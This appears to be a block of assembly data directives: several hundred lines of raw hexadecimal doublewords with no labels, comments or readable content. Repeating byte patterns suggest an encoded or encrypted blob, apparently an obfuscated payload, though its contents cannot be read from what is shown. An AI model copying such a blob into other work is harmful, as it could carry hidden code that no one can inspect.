dd 36223215h, 0F1BA1FFDh, 4B6A238h, 5C8338Fh, 0E4535DEDh
dd 0EBEFE5E2h, 74B36F90h, 0EC4B5213h, 66223217h, 0E41E5375h
dd 6688321Eh, 664434FCh, 0D21E2115h, 79BBBF8h, 668823FCh
dd 34BFBB15h, 9F131E69h, 0D190975Ch, 0C94741B2h, 0B6BB1F13h
dd 66223FFCh, 0EA389815h, 0B8FE499Eh, 22D3CE1Fh, 0E3ABF2C0h
dd 60084799h
dd 6686B41Ah, 6FAD3215h, 3223215h, 0B47FD060h, 0BD57276Ah
dd 664ABF1Ah, 6FCB3215h, 2113215h, 0EACBDEE1h, 28CCDA10h
dd 4E53B7D3h, 8F563407h, 66883201h, 2F2C47DEh, 198D8C53h
dd 0A08F417Dh, 0B593C3B1h, 0CF64B351h, 3D4C7E7Dh, 6BF852EFh
dd 0B2883215h, 34118BE9h, 9D59813h, 0EA8F0B33h, 0D36075h
dd 7C84BACh, 0D797CD74h, 69172016h, 6688269Bh, 664BDB15h
dd 3B753215h, 39242976h, 7F4CD378h, 0A13A755Ah, 3BA7BF00h
dd 9E17202Eh, 8EE8E2EAh, 66443207h, 0BB9B06ACh, 77F0A223h
dd 8C220912h, 0FAE43EAFh, 0D12D28FBh, 9A4169C5h, 0E301534Bh
dd 605D4785h, 663DB71Ah, 0EC1E3215h, 6688320Ch, 664426FCh
dd 290F7615h, 0DAD39D1Eh, 15724191h, 4CC0E705h, 5830E79Bh
dd 1794F499h, 218E203Dh, 664437FCh, 6F20A315h, 0AB7957B2h
dd 934B3431h, 65F587EAh, 0EBDE3407h, 742A6F90h, 6D615213h
dd 0E9443215h, 75693EA6h, 4DFB775Bh, 99E9D861h, 75AD52C5h
dd 99223215h, 30C37D6Bh, 0F33FFDFEh, 21B50AFDh, 0BD714D35h
dd 969136C6h, 0E3015394h, 605D4781h, 0A043CE75h, 74394390h
dd 0E706D13h, 0B2FF52D9h, 0D797CDE9h, 6172016h, 68E58C73h
dd 9609E894h, 0EB432CB4h, 742A6F90h, 0B677CB13h, 664CB81Ah
dd 6423215h, 0B4AF5474h, 0E30153D6h, 605D4771h, 289B5475h
dd 0E3D7539Eh, 609A1A64h, 68C43D4Ah, 8F223215h, 6611321Ch
dd 6CA0C306h, 32747293h, 6CCB523Fh, 72113215h, 7863C5E3h
dd 88FDE52Dh, 6631DB18h, 4C43215h, 14AC00EAh, 0AE479DE7h
dd 872FD0AFh, 356C0171h, 28E05344h, 8FDADB41h, 6622321Bh
dd 67EB3B0Ah, 8BFD8CF9h, 89D0A95h, 0D34284AAh, 6AD3B234h
dd 0D73DCD74h, 8F422016h, 66223205h, 0DF785B2Ch, 0A8131A2Dh
dd 763A9499h, 331A8EA3h, 5D4CB798h, 6713407h, 0C7DBB9AAh
dd 5E93523Ch, 66113AFCh, 244C915h, 0D86A4C69h, 994353D2h
dd 661FDBC5h, 827F3215h, 0C69A5EBEh, 0B3C5586Bh, 536C0714h
dd 13E0B79Ch, 6EAD340Ch, 0ED223215h, 371BD7B5h, 0A074C996h
dd 746C4390h, 0E82D6D13h, 6611321Bh, 66883BFCh, 25FB615h
dd 0E3586888h, 0EEDC4F2h, 0B79B1A5Dh, 664421FCh, 3E60DB15h
dd 62299723h, 0A81D2728h, 0F3CAD833h, 47611DFCh, 65A087EAh
dd 74613407h, 7C443215h, 90B5DC76h, 0CDAFCF5h, 0D15D537h
dd 56CD316Bh, 3BA7BFB2h, 6917202Eh, 6688339Ah, 99BDC715h
dd 0E3ABC7C5h, 60084779h, 0AC373D75h, 0A6A4B373h, 62485382h
dd 76115AE9h, 6F613215h, 0E2443215h, 1CFEA19Eh, 0B01764A2h
dd 6698327Dh, 0ED225215h, 58EDB3DAh, 722F5DCh, 0E8327Fh
dd 8FA04DABh, 6622321Bh, 20CF2873h, 36E5AE20h, 6F0FC003h
dd 9943FC0Bh, 74338F80h, 7F043D13h, 8F443215h, 66223201h
dd 7A28765Eh, 48E5A8D3h, 3F4A3666h, 7CC5ABAFh, 6CEFD030h
dd 4535B79Ch, 0D9243407h, 756191CCh, 7E8851Ah, 3552B798h
dd 0E04B340Ch, 66223214h, 6617DBEDh, 6CA03215h, 32747293h
dd 0DC42E2EAh, 44FAA02Bh, 742B973h, 69AD367Fh, 9B223215h
dd 50B4DE43h, 7DE1D9BDh, 9948D53Eh, 664A61A9h, 6113205h
dd 0FC375475h, 95C553B3h, 7192BE39h, 46115A74h, 8FE83215h
dd 66443204h, 9A366918h, 8A290F6Ch, 0C1F25E12h, 0E4DF2E49h
dd 9DA9549Ch, 69115874h, 66883395h, 60ADC715h, 0BB223215h
dd 0B89F172Bh, 0DB1DCD07h, 69422037h, 66222096h, 6A933D15h
dd 8F883215h, 66443212h, 0C9287157h, 9F087D1Eh, 44EDB79Ch
dd 68AD3407h, 0CB223215h, 14C5E4B1h, 529013D7h, 2AF2D25Bh
dd 662ADB12h, 460D3215h, 4D45D0EFh, 0E3CD43B4h, 603033B8h
dd 87A46275h, 0CE9CA4Fh, 664CDB55h, 0A2493215h, 0B9B6619Eh
dd 66E01568h, 8F443205h, 66223206h, 97895051h, 4F522FB2h
dd 22D8E409h, 99C2BF2Dh, 0E5FB535h, 66893215h, 0A1B875h
dd 0C43FD9Eh, 6600DB15h, 3D643215h, 917EEFC0h, 79D3D26Ah
dd 8B4E8704h, 993C8EC7h, 74668F80h, 0E3ABCE13h, 60031FF0h
dd 973DB9E0h, 8F42201Dh, 6622321Ch, 0F105766Dh, 51CE72D9h
dd 1FD9B990h, 624200Ch, 66CAF094h, 770497Eh, 49E9879Ch
dd 0EFDB3407h, 740FB788h, 0E7EE5213h, 0DB42C7h, 2DDCFC94h
dd 1F8CB974h, 68E200Ch, 0C0401CAAh, 32E9B32Ah, 73FEAD7h
dd 520901EAh, 7A422A31h, 422EB90Dh, 6615F694h, 97093215h
dd 7E58340Dh, 66DBB1EDh, 5E83B61Ah, 6E613215h, 0B2443215h
dd 8C8BA31Ch, 0E15AD32h, 668850ACh, 9E60369Ch, 63C2BB45h
dd 66113211h, 0E18CDA96h, 0EF181611h, 8E421619h, 6611321Ch
dd 57C83F4Eh, 0DDC88BB0h, 91A354FBh, 74B5BE3h, 69605275h
dd 99443215h, 170D15EFh, 37BB2257h, 3B3636B6h, 691F4091h
dd 66222B9Bh, 6602DA15h, 0D6E13215h, 3286659Ch, 0C4860BE9h
dd 59B260B5h, 0A3555C52h, 69256ABCh, 66223A9Ch, 64973D15h
dd 6883215h, 93840374h, 7E5FB79Ch, 35E43407h, 53E68F40h
dd 0ABC538C7h, 62493881h, 59D3C794h, 8D013CEEh, 3D9ABB48h
dd 989D3D75h, 1DB748AEh, 0E0875325h, 6644320Eh, 0AAAA8875h
dd 68F973E2h, 0A5883215h, 0D564995Dh, 18B8035Ah, 29FD92A9h
dd 35E96B65h, 85175EAEh, 3DFC3304h, 46354616h, 35E4DC94h
dd 0EB4B23F6h, 66223214h, 6BC54ECh, 39878343h, 664434FCh
dd 3A5B4F15h, 7C771BBh, 3F5E538h, 64F93735h, 222134B6h
dd 0DB3C1231h, 638E9117h, 46214FC2h, 662238FCh, 65AF915h
dd 1CC0AE2Fh, 9957CB9Eh, 0D8744A65h, 366B36AFh, 62AC4614h
dd 88C56C4Bh, 365836AFh, 661137FCh, 8AFCE715h, 0D913CFD6h
dd 6F4A5D2Fh, 0E715D5D4h, 6A2F7CE2h, 39BA1BA8h, 46064616h
dd 32FFF494h, 0E8199Fh, 7BCEB9Eh, 333A44EAh, 3E0352A8h
dd 42E41B4Ah, 0E71B6F11h, 3E3052D2h, 6601DB4Ah, 0E78E3215h
dd 0F2755387h, 384497C9h, 9739EC31h, 0DB013AC2h, 60562C1Ch
dd 67A93D75h, 9F113215h, 7AFC295h, 0E34BCD90h, 6622322Ah
dd 661CB41Ah, 6E613215h, 81443215h, 0AECCC881h, 8E7F52AAh
dd 66886D82h, 6643B81Ah, 0E62D3215h, 66113214h, 6250DBEDh
dd 76AD3215h, 65223215h, 5774FA91h, 3BBCCFC5h, 6513B2E7h
dd 0EC018E5h, 66113B25h, 69AC3E9Ch, 66442091h, 662FDB15h
dd 1A23215h, 0CA4C9CC2h, 0FA2CB09Dh, 316B5403h, 0DA350694h
dd 3CDCDE09h, 7AF88C43h, 941366F9h, 661DDB4Bh, 30E73215h
dd 3AA567BBh, 15ACD2A3h, 0B47A15F1h, 61053D11h, 69443215h
dd 66223390h, 0F398C715h, 609A32C4h, 6EC33DEDh, 69223215h
dd 66113093h, 0CE95215h, 662CCA11h, 6223205h, 0B99AF2A7h
dd 152B5A74h, 72CD3215h, 6648CB31h, 8FE852EDh, 6688321Eh
dd 0A6AF43E3h, 65551724h, 7372DC5h, 4435A7EAh, 6CAD3407h
dd 7D223215h, 0F700B192h, 0B51421D4h, 0B7C1BBE2h, 8F24200Ah
dd 66113213h, 0EF63BA4Eh, 0ED1442DDh, 0A2A11601h, 75953D11h
dd 8F883215h, 6644321Bh, 0F04AD2Ch, 36DB35Dh, 0CEE0ACA8h
dd 52BB51A8h, 0A2A36B31h, 66113211h, 6684BA1Ah, 61AD3215h
dd 6D223215h, 994E05C5h, 1260D57Ch, 8F44324Bh, 6622321Ah
dd 0FD49EF86h, 0E2F1A7CBh, 96F4C84Bh, 35C5C724h, 0A590D19Ch
dd 66883211h, 6640D994h, 7AA53215h, 52986E31h, 68083D31h
dd 6443215h, 662235FCh, 0A02D9715h, 0AFBAB02Fh, 0E44B9F74h
dd 6622321Dh, 6613B01Ah
dd 7E83215h, 4F15EC10h, 215C1F3Ah, 22122DCEh, 188D1631h
dd 4B5BE952h, 490B63CBh, 57E903EDh, 9F7003D2h, 4270B342h
dd 45A3441Ch, 0F5AF644Eh, 0E791BB5Dh, 6196B8FBh, 38D103E3h
dd 69F85275h, 57883215h, 0B3CBBABAh, 0EB576C0Ch, 4B0477CEh
dd 0E90983h, 35D8F294h, 62CEB374h, 0EF113215h, 56711629h
dd 6650DBD5h, 42A63215h, 93B8C089h, 7A8BD15Ah, 0D56D6965h
dd 0BD9C0F3h, 13BF0BD0h, 606152E8h, 7F443215h, 976F31B7h
dd 6715357h, 8E778D1Ah, 66443210h, 67AD465Bh, 0E7706D3Ah
dd 13172CD6h, 52BB5343h, 0A2A36C31h, 66113211h, 0AF4FB3E9h
dd 4F5E4D3Dh, 0AF9F67CAh, 4F0B4D3Dh, 33746FFAh, 0A3C5D79Ch
dd 66223211h, 0E115DF96h, 0EFD41639h, 0ED241601h, 0ED7553DAh
dd 0A2921601h, 670B3D11h, 9F443215h, 0DB9FB9EDh, 69172036h
dd 66882999h, 77AC5215h, 4F223215h, 765F161Bh, 9992F3F3h
dd 0C148FDAFh, 0D23FC35Bh, 7DFB94Bh, 9977CDACh, 81C552EAh
dd 7DC613F5h, 66113FFCh, 10705615h, 61008B38h, 16376461h
dd 5770D16Fh, 6F6052D5h, 31443215h, 0FF88DA02h, 60E926E2h
dd 8FD0E29Eh, 66443218h, 0ED91AEE6h, 0C8D1B0E5h, 63F060Ah
dd 0E1653E3h, 66223215h, 0ECE3334Fh, 0E9876817h, 66443206h
dd 66223CFCh, 9E05C515h, 0CFD9A213h, 0D102F2BFh, 56B21247h
dd 0ED7752DDh, 67023DEBh, 9A443215h, 679D6574h, 67113215h
dd 0E6E86DEBh, 0D94BB1F0h, 52DD53CCh, 423DB392h, 4A5809B7h
dd 5DE6374Dh, 0E32D1EC5h, 66113214h, 6E61F3ECh, 68503ECh
dd 662BDBE0h, 0AE733215h, 2811C116h, 7F57D26h, 6A73D5Fh
dd 9FEECDEAh, 0CE356744h, 575FDD40h, 3B261679h, 33B9074Dh
dd 69E829FAh, 6644339Eh, 0D92DC715h, 0E14153EFh, 0B07F1621h
dd 3E600692h, 662223FCh, 0B90E4D15h, 1F5DDDF0h, 0F5197551h
dd 0CE4D4B3Bh, 52EEF0AFh, 0A20B6831h, 7DCD3D11h, 6223215h
dd 8FC8B973h, 66883204h, 0E6FFC15h, 9E9C4BBAh, 0C245F815h
dd 455F304Ah, 361353E9h, 3918BB4Ah, 6601DB75h, 0FE033215h
dd 6A8E5AB5h, 9D267CC5h, 8895BB5Ah, 0E7EE7667h, 753F4F7h
dd 6626DE94h, 52983215h, 668C8C31h, 94453215h, 662ADB4Bh
dd 0C3C43215h, 0AF77CD50h, 0AF2C3259h, 0EF223217h, 0EE1E1601h
dd 66883218h, 66443AFCh, 2F558915h, 0C18520EEh, 1B0DCD53h
dd 9342200Dh, 7E5FA79Eh, 0E41E3407h, 66883214h, 664BDBE0h
dd 0AFBA3215h, 3A10F8F2h, 5053F43h, 4FE5C11Eh, 6FB70B9Ch
dd 6917200Bh, 66884D91h, 6654DB15h, 8F7A3215h, 0EBA49DC1h
dd 0F455CF8Eh, 0A9F9AEB0h, 52DD115Ch, 0A2906831h, 66883211h
dd 664438FCh, 6F00DE15h, 19C76392h, 0ED77C15Ch, 0EF141621h
dd 662637F5h, 62143215h, 0E1883215h, 9E181611h, 629C6444h
dd 0EF113215h, 0A8896CE4h, 6654DB4Ch, 79CC3215h, 0A7051C61h
dd 0CD6360ADh, 0DC0869B0h, 0EA2D8B0Bh, 66113214h, 9A1DDBEDh
dd 6FADCDEAh, 4F223215h, 5C156D83h, 0CC173F3Dh, 3C6006EAh
dd 6926F696h, 66113C9Bh, 6681DB15h, 0D86E3215h, 13A6BCBEh
dd 994ED6FEh, 0E7D61621h, 664436D1h, 69AC3D15h, 8F113215h
dd 6688321Fh, 66CEB70Ah, 0D8D8F6B9h, 8F70C96Eh, 6688321Ch
dd 251FE067h, 0DB7E64B8h, 6A9C3D1Ah, 8F883215h, 66443212h
dd 8360766Bh, 0EDB3E9C1h, 0EFDF1619h, 6283B3F2h, 0E7223215h
dd 661136D2h, 42B4B515h, 6655DB49h, 0EA0D3215h, 5EB86DC4h
dd 63C8932Dh, 24BD9A11h, 8F08E25Dh, 66113206h, 927FCBF2h
dd 0AEB98E04h, 56DC5A71h, 50668017h, 99F7B8DFh, 0E71C1621h
dd 662236D1h, 0ED775215h, 0C5DD8DCCh, 62500E7h, 94A354ECh
dd 0A1707475h, 74A80390h, 66443213h, 6EAE3D15h, 69113215h
dd 66883090h, 9F255215h, 67C3B7D2h, 66113407h, 75613215h
dd 39443215h, 0E0B3CEF9h, 2C8DEE48h, 58CC180Fh, 2388385Bh
dd 0DBA167A5h, 600846C1h, 5D0C3D15h, 9A443215h, 0F054AF98h
dd 0E31E340Dh, 66883201h, 66443DFCh, 0B1F6A315h, 0F2444120h
dd 9B034C5h, 13970824h, 8FF1CDEDh, 66113207h, 317B132Ah
dd 0AB3FAA29h, 2B5F8F3Fh, 6EF2A2Eh, 0E3778EA2h, 605627C0h
dd 63A03D75h, 0DE113215h, 6400FD7h, 9EB975h, 7E71CABh
dd 0B3ACB174h, 28E2000h, 6472B01Ah, 63CB3215h, 75113215h
dd 28C2EAC8h, 7391B7D2h, 66233407h, 72F83215h, 0DA883215h
dd 97CEEE56h, 98150B14h, 13B84010h, 1E90D76Bh, 6DBF58Dh
dd 662234FCh, 6CE2EC15h, 9F7F18EAh, 357BB798h, 99D7340Ch
dd 0D39CCBC5h, 609147B1h, 26F9BFECh, 93242814h, 24CBDD94h
dd 0A1095454h, 33B15C50h, 89A3C53Ch, 33E45C50h, 2452F594h
dd 9E245454h, 6621BF1Ah, 0A3913215h, 0EFD8534Bh, 0ED86BBEDh
dd 0A2A31611h, 66113211h, 6689B91Ah, 0EDB13215h, 74018FA8h
dd 6603DB13h, 0E2693215h, 78339893h, 736CD179h, 0BE28FA0Dh
dd 475E9973h, 99BBCDACh, 0A613CEEAh, 6619DB75h, 29703215h
dd 0B2382839h, 0D12DA545h, 8E7153DAh, 66883206h, 8CFFAA69h
dd 32425754h, 0D695194Fh, 0E621058Fh, 691509B1h, 66223294h
dd 0A89A6815h, 66316374h, 0E7443215h, 0E97FE2D4h, 0E7E03326h
dd 0E9D5E2FCh, 3F45B826h, 6626B01Ah, 37713215h, 0AEB8534Ch
dd 664438FCh, 5AC69815h, 0D5FDB682h, 6AB41CEh, 66443EFCh
dd 0EB7E7415h, 0C2001EC9h, 0FA43FA2Fh, 0DC16533Eh, 99DDCDEAh
dd 934BE43Ch, 300F06EAh, 40580EABh, 42563345h, 4B496C11h
dd 36AE2E29h, 664420FCh, 0FC6F3015h, 97374537h, 8C89E270h
dd 52C78EDAh, 0A70B519Eh, 9EE93AFCh, 2C71F324h, 9904B71Ah
dd 6DCBCDEAh, 7E113215h, 5A97D36h, 71978E6Ah, 37779461h
dd 3BF9BB48h, 620F62E0h, 0E194C531h, 697A1611h, 66113B9Ch
dd 0DEEE5215h, 0ED226BABh, 0E31B53D7h, 60032A20h, 6600B61Ah
dd 0DEB13215h, 53CF6E1Ch, 4313D2D4h, 18EF043Ah, 0E8FB6555h
dd 4730576Eh, 7C146DEDh, 4BA98B1Eh, 559A090Bh, 6623B31Ah
dd 6DE43215h, 4F0D3DD5h, 8F443215h, 66223219h, 0FCED6D2Bh
dd 7AE3394Eh, 0D9F5698Dh, 6625BC1Ah, 0E11E3215h, 66883214h
dd 27C1F5E0h, 6724203Ch, 93113215h, 66DCC77Dh, 4268BB15h
dd 577B88A8h, 3BF83315h, 6690BD1Ah, 8F243215h, 66223218h
dd 5674237Ah, 0D1F83A96h, 5A00D2D9h, 0E39A5462h, 93705307h
dd 2B1D8847h, 3F166DEDh, 6628DB4Fh, 67D3215h, 740A6800h
dd 40F248E0h, 81B47C7Dh, 4205B90Fh, 8F8CF696h, 66443212h
dd 67540615h, 6CB8845h, 76D85E9h, 67CB3DB8h, 93223215h
dd 66113DFCh, 74499C15h, 7B287267h, 0B72755D4h, 0CC309663h
dd 4925879Ch, 36B83407h, 662232ADh, 9A57BB15h, 0E5AC369Eh
dd 5BBD36D1h, 88CCDCFBh, 66CBB71Ah, 0E7703215h, 0BB99EF2Bh
dd 0ABA73DC8h, 8F113215h, 66883207h, 0EE6F9C01h, 0B561334Eh
dd 0F1EC39h, 6C6BBAF6h, 0DE149C5Ah, 28F37637h, 66113338h
dd 44BD7215h, 0EF0AE351h, 0E5DE6A13h, 629836F9h, 668C8A31h
dd 0A0453215h, 0A9A9524Dh, 661126FDh, 782BD115h, 0DEB95E35h
dd 417D9D0Bh, 920D95AFh, 494CCDB1h, 12FF54A1h, 0EF43685Dh
dd 743E9FA0h, 61053D13h, 69443215h, 6622339Fh, 0E71ECB15h
dd 66883214h, 4A66DBEDh, 77CB3215h, 0E1113215h, 4F282DEFh
dd 0BE2CDC4Fh, 34AC637Ah, 719B6004h, 668821FCh, 977EED15h
dd 0D2662A44h, 43EF6580h
dd 192DF55Bh, 0B2720B5Bh, 99DCE1FCh, 74F852EAh, 7F883215h
dd 209A2873h, 364FAE20h, 6F5AC003h, 3511FC0Bh, 188DB398h
dd 74F254Eh, 51AC6745h, 5794A83Ah, 3B401679h, 51D1B34Eh
dd 60DA83Ah, 486FB373h, 0B1CF543Ah, 73A13D74h, 69113215h
dd 66883D94h, 664EDB15h, 0A5A03215h, 0EB95542Eh, 70587661h
dd 4F05B726h, 0E6423407h, 0E777ACDAh, 7E749F2h, 9F47FAD4h
dd 2B6D7538h, 30C11B51h, 0D3E5BCABh, 3BB2B363h, 2860BE1Ah
dd 6779DC94h, 0A8093454h, 0F7C7087h, 8D6FF494h, 9610E441h
dd 6682DB4Bh, 0DF713215h, 27A29EE9h, 65CCC6B6h, 8F98F2D4h
dd 66443204h, 3AA5FCF1h, 0E6518469h, 0E9D53980h, 0F3D06A45h
dd 69EA03A2h, 66112A90h, 740B3D15h, 8F443215h, 66223218h
dd 0D9D872A0h, 0E16CE1AEh, 5CF70F97h, 27BFBB78h, 8F17203Ch
dd 66883212h, 8A596B5Eh, 5BC60CAFh, 66103215h, 6768B11Ah
dd 0EA4B3215h, 6622321Dh, 0CFB975h, 79A5CAFh, 0DDFF0C94h
dd 0E32D89AEh, 661133D3h, 64093D75h, 35443215h, 0A4A9544Fh
dd 661ADB74h, 28EC3215h, 7A577345h, 6E043EB5h, 16AE6528h
dd 0A7A4585Ch, 0A70B35FAh, 0E76530F2h, 90F2CDAh, 0C7326074h
dd 67DAA2B4h, 58AB68C2h, 77F8524Ah, 0CA883215h, 0E04456F5h
dd 6AE19F0Bh, 2047C5EEh, 3C6CFA68h, 724D695h, 66223EFCh
dd 54692015h, 8F7B61C2h, 0A3F2C978h, 629D65A1h, 67113215h
dd 42B4B9EBh, 6940F696h, 66223595h, 679C3D15h, 93883215h
dd 49E9879Ch, 0EC2D3407h, 66113214h, 1F15B9E0h, 8F42200Ch
dd 66223212h, 5FBF8096h, 99DFE5C3h, 4248B926h, 9326F696h
dd 4205B945h, 698CF696h, 66443E97h, 60A33D15h, 69113215h
dd 6688329Eh, 6FAD5215h, 74223215h, 32C9D5E2h, 445F0927h
dd 35B6B375h, 158624h, 0CD96D494h, 62096074h, 0D92F1431h
dd 0D8746A0Ah, 79137675h, 1884DC94h, 80C56F91h, 1E417C7Ah
dd 0B80DC94h, 900974D6h, 80668180h, 9A7CC23Ch, 7FCCB73Eh
dd 8FE83407h, 66443218h, 0BC14B58Dh, 0AFF2EF01h, 0D96402DDh
dd 6655DBB1h, 739B3215h, 4C89573Ch, 0D27562CFh, 0E17D0379h
dd 70B3394h, 613D2D4h, 90095444h, 0E71DDA9Ah, 0B9DEFBD6h
dd 0E3125301h, 609A1E48h, 664434FCh, 14F25215h, 3629CA93h
dd 668CDE94h, 52CD3215h, 67C6A31h, 0BFC1ABh, 9F255342h
dd 6FE38847h, 0E7680CA1h, 6C0EDCE7h, 3C583302h, 2E69FA14h
dd 9A0B8C03h, 4255BBECh, 7D0E3D09h, 6443215h, 66223AFCh
dd 11B68915h, 3E915500h, 6643DB82h, 1B583215h, 0EE3A9C01h
dd 69E9534Eh, 66443399h, 91CBCA15h, 69113217h, 66883394h
dd 0EF15CB15h, 62E3B3F4h, 0E5113215h, 6A0F36FCh, 6ACD6E31h
dd 0A84ACE31h, 0EF11325Ah, 8EE81601h, 66443219h, 0C2EF9798h
dd 754CF5E3h, 0CFE3540Dh, 691E6844h, 66223493h, 669D3D15h
dd 7883215h, 6EADFB24h, 0EE223215h, 0D4C30116h, 0EDE6E532h
dd 745BE380h, 6624DB13h, 604D3215h, 0A7AFFE19h, 0E24B302Eh
dd 662232ADh, 0D84765EDh, 544044F8h, 0AE32DBAAh, 38D50327h
dd 694EC814h, 66882095h, 6ACC3D15h, 8F223215h, 66113212h
dd 0D3677780h, 8FA906D8h, 66223206h, 5DD2B010h, 1205B673h
dd 1452E251h, 35AC3289h, 344956ADh, 668833AFh, 3C953315h
dd 662AB51Ah, 69713215h, 66883298h, 0EB7F5315h, 60302C1Ch
dd 9983B71Ah, 34E8CDEAh, 0E29DB373h, 67946DFBh, 0CD796374h
dd 3F9F9528h, 26CD394h, 0B7D52597h, 0BDC6C394h, 0AE01DA68h
dd 67CC3D4Ch, 9A223215h, 2BA4BF98h, 99703407h, 68CA3DF4h
dd 8F223215h, 6611321Ch, 8F175020h, 8DE3ED04h, 4698527Bh
dd 3410DD79h, 7D26845h, 7E39BF9Ch, 0E42D3407h, 66113201h
dd 66883DFCh, 5315B615h, 8235B158h, 41BF2ADEh, 0B66CFCD6h
dd 3160269Eh, 0A1A3D59Ch, 66113211h, 668CF594h, 5AC33215h
dd 0E6426E31h, 0E4AE2FF4h, 7B298D1h, 34603E9Eh, 0A4A3D09Ch
dd 66113211h, 0E18CF096h, 9A181601h, 662DB81Ah, 6CF83215h
dd 9F883215h, 0ED3C43B0h, 0EC69F712h, 202E5A03h, 52013215h
dd 0FBCFCA31h, 60302B6Ch, 661BDB75h, 6FDC3215h, 8D6FCD04h
dd 22D9D917h, 1C318973h, 0EDBBCD74h, 0A2C71619h, 67A83D11h
dd 9F113215h, 7EF5B79Eh, 0EB4B3407h, 6622321Dh, 6613B01Ah
dd 7E83215h, 0D024D2C4h, 7D3B82Eh, 6BFCB716h, 0E2873407h
dd 66443214h, 8FD403E9h, 66113207h, 809F572Bh, 720357BBh
dd 0F9A1A7DDh, 0ED53C895h, 96B93534h, 9675F424h, 662220FCh
dd 27523D15h, 89F3F029h, 0C9453D1Eh, 2BC3468Dh, 4EA962h
dd 67063DB8h, 9A443215h, 6920D2D4h, 66113391h, 0E38BCE15h
dd 60561E48h, 6636B11Ah, 8F713215h, 6688321Fh, 379C685Eh
dd 0D74AFF34h, 0D91E8E1Bh, 0EB8753DCh, 6644320Ah, 663BBF1Ah
dd 72F83215h, 0AD883215h, 0DACF3D20h, 852B142Ah, 0FA5CF640h
dd 74A00D0h, 36AC6994h, 52A96A43h, 62D5B131h, 9B305475h
dd 15F88A31h, 6432A8Eh, 6613BA1Ah, 94033215h, 3A0BE3AEh
dd 698F535Eh, 66113395h, 35A5CE15h, 67741500h, 0FC9B63DDh
dd 0E71E7D35h, 0E5B3E4h, 0BF8DB35Fh, 0E70D4D6Ch, 0C1864AD4h
dd 3F4033D5h, 0E64B52E9h, 66223211h, 0F9FB8A73h, 7588D1Ah
dd 3560069Eh, 0A5A3D19Ch, 66113211h, 668CF194h, 7AC33215h
dd 69426E31h, 66113292h, 7E86115h, 0DBC7534Eh, 6030379Ch
dd 0A3953D14h, 9E883215h, 665DBC1Ah, 72CB3215h, 7A113215h
dd 853F1FC9h, 0CC3C68FEh, 1589DB9Ch, 3B51BBE6h, 5DB68D33h
dd 74478398h, 0FFA63D13h, 9F113215h, 7BB1BF2Eh, 0E24B3407h
dd 66223299h, 6610B61Ah, 5D703215h, 7466DF98h, 1FA63D13h
dd 69113215h, 6688339Dh, 0FBC9C715h, 603BE100h, 6C2CDE0h
dd 0DB77A6h, 71EEB9Eh, 52A36246h, 817A9031h, 95096948h
dd 3BA359B7h, 6979ED9Ch, 6611339Eh, 0E301C715h, 60562BD4h
dd 6DCACE75h, 7F113215h, 1DAFE4DCh, 399E7187h, 519A2C2Dh
dd 3C728479h, 79AEDB74h, 0EC4B3215h, 66223209h, 6607B31Ah
dd 77613215h, 0E1443215h, 3A7835AFh, 64945554h, 0FE362B60h
dd 96943C48h, 0B537AF98h, 0E81E340Ch, 6688321Ah, 664438FCh
dd 5A4A1015h, 43E9BB2Eh, 9988D88Dh, 6642DBC6h, 0DC213215h
dd 46B8B9Eh, 6689BE1Ah, 0E5B13215h, 7427BBA8h, 0E21E3213h
dd 6688328Dh, 74C53DECh, 6223215h, 661137FDh, 1F79E015h
dd 1EC54Dh, 859ADD94h, 0FF940974h, 698E2003h, 66446791h
dd 68CA5215h, 0A1113215h, 455BDA73h, 43EC92CDh, 2EE88EDDh
dd 3C70523Dh, 66883DFDh, 6192DB15h, 0F078F333h, 46DB161Fh
dd 9F62D8Dh, 6644BC1Ah, 77D3215h, 4CE8B72Eh, 0E3873407h
dd 66443221h, 662222FCh, 3440F915h, 0D1CF3CDFh, 0A2389808h
dd 0F2ED805Fh, 0B5F8CBD7h, 8F77CDEBh, 66443201h, 6C443B96h
dd 0D636D81h, 0C4645750h, 9263FBCDh, 0AE5D7D54h, 5794B72Eh
dd 0E3873407h, 66443287h, 6638BF1Ah, 8F713215h, 66883204h
dd 0CBA700Ah, 6FA29672h, 5183F5A0h, 5EF8F1A4h, 71E643Ch
dd 662221FCh, 5F04BB15h, 0E14C2576h, 2DBB43B7h, 3ACE8DF1h
dd 0E8A885C6h, 61258F96h, 69443407h, 66221D91h, 661CDB15h
dd 0C3953215h, 9EE57208h, 0BD5E5D18h, 9383349Fh, 76CD8F96h
dd 69443407h, 66221F91h, 6F983D15h, 6883215h, 66C73DE0h
dd 7223215h, 3A33B798h
dd 6B61340Ch, 87443215h, 0A536B2ACh, 0D9A36870h, 0D53A34BFh
dd 99BA2FFCh, 0E319C7EAh, 60030390h, 9898B61Ah, 0DD24CDEAh
dd 65FF706Bh, 669B3D75h, 7883215h, 0DEF9B174h, 67242B61h
dd 6647B71Ah, 0EE873215h, 6644320Ch, 7ECDB375h, 8F1F9ED4h
dd 66883219h, 6CB4113Eh, 60089E6Bh, 627EB727h, 8A0D0974h
dd 69422B61h, 66221990h, 639D3D15h, 6883215h, 7B6851Ah
dd 6DC6B798h, 69F8324Ch, 2F883215h, 3D092F55h, 1EC56541h
dd 16800CA4h, 0D761A633h, 9FBBCDE8h, 0D742CD24h, 0E570CAC3h
dd 749557A8h, 0E24B3213h, 66223D89h, 66113BFCh, 0D83B5315h
dd 86DB91E7h, 0E31979C4h, 600846CDh, 66C5B71Ah, 69BD3215h
dd 66222490h, 6600DB15h, 681A3215h, 2F3F660Ah, 0D9A63A52h
dd 0D611EC59h, 0ED231553h, 74699790h, 662DDB13h, 0F2513215h
dd 1D1351C8h, 2767B8F3h, 43178B89h, 2AC67A6h, 0E7A75A62h
dd 0E57555E0h, 9AE7B368h, 4FBC26ACh, 5D7D6FFAh, 7F30D290h
dd 36A73D13h, 69113215h, 66882795h, 6654DB15h, 34E13215h
dd 4B12F0E1h, 0D7C65531h, 0BA668321h, 0E3A9436Eh, 60031F6Ch
dd 66883FFCh, 213B915h, 5ED6B24Ch, 0B87E8DC8h, 0D5E8DA14h
dd 91ADB36Eh, 7360B61h, 99EE8A45h, 0A1A1CDEAh, 0E715524Dh
dd 0E35023E4h, 5D706C6Fh, 7FFCEE90h, 17C13D13h, 69223215h
dd 66112597h, 6D615215h, 0FB443215h, 0B1F7EA1h, 2625A8D2h
dd 0E7EE550Bh, 73892C6h, 662EB01Ah, 0EF1E3215h, 66883213h
dd 6644BE1Ah, 0E3A93215h, 6003344Ch, 14588D75h, 0DD225E38h
dd 344310FDh, 661133AFh, 3C5F3315h, 0D14B52EDh, 662DDACAh
dd 0C9B93215h, 2739972Ch, 702770F7h, 48108B86h, 6616DA9Fh
